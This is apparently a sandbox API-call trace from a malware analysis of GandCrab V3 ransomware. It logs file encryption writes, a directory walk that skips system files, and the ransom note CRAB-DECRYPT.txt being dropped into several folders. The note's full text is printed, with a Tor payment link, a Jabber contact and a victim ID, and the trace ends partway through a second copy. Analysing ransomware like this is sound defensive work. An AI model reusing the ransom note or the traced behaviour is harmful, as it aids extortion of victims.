	[0111.367] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0111.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.385] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0111.403] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.407] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.407] WriteFile (in: hFile=0x3e0, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0111.409] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.413] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x88cc7, lpOverlapped=0x0) returned 1
	[0111.419] VirtualAlloc (lpAddress=0x0, dwSize=0x88cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.425] VirtualAlloc (lpAddress=0x0, dwSize=0x88cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0111.434] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.435] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff77339, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.436] WriteFile (in: hFile=0x3e0, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x88cd0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3149f14*=0x88cd0, lpOverlapped=0x0) returned 1
	[0111.437] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.438] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.442] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.442] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.442] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0111.442] CloseHandle (hObject=0x3e0) returned 1
	[0111.508] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.509] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.509] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.509] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.509] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.509] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.510] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.510] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.510] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt"
	[0111.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.510] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt") returned 97
	[0111.513] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt") returned 97
	[0111.513] lstrlenW (lpString=".txt") returned 4
	[0111.513] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.513] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.513] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt") returned 97
	[0111.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\CRAB-DECRYPT.txt") returned 97
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.514] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.514] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.514] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.514] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.514] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.514] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt"
	[0111.515] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.515] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt") returned 94
	[0111.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt") returned 94
	[0111.515] lstrlenW (lpString=".txt") returned 4
	[0111.515] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.515] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.515] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt") returned 94
	[0111.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\CRAB-DECRYPT.txt") returned 94
	[0111.515] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.515] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.515] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.516] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.516] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.516] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.516] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.516] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.516] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.516] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.516] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt"
	[0111.516] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.516] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt") returned 89
	[0111.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt") returned 89
	[0111.517] lstrlenW (lpString=".txt") returned 4
	[0111.517] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.517] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.517] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt") returned 89
	[0111.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\CRAB-DECRYPT.txt") returned 89
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.517] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.518] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.518] FindClose (in: hFindFile=0xda7130 | out: hFindFile=0xda7130) returned 1
	[0111.518] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.518] lstrcmpW (lpString1="Excel", lpString2=".") returned 1
	[0111.518] lstrcmpW (lpString1="Excel", lpString2="..") returned 1
	[0111.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel"
	[0111.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\"
	[0111.518] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.519] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.519] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.519] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.519] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.519] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.519] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.519] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.519] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\CRAB-DECRYPT.txt") returned 71
	[0111.519] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.520] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.520] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.521] CloseHandle (hObject=0x3f0) returned 1
	[0111.522] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned 54
	[0111.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*"
	[0111.522] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda6f30
	[0111.522] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.522] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.522] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.522] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.522] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.522] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.522] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt"
	[0111.523] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.523] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt") returned 70
	[0111.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt") returned 70
	[0111.523] lstrlenW (lpString=".txt") returned 4
	[0111.523] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.523] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.523] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt") returned 70
	[0111.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\CRAB-DECRYPT.txt") returned 70
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.524] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.524] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.524] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1
	[0111.524] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1
	[0111.524] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART"
	[0111.524] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\"
	[0111.524] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.525] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.525] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.525] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.525] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.525] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.525] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\CRAB-DECRYPT.txt") returned 79
	[0111.525] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\xlstart\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.526] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here 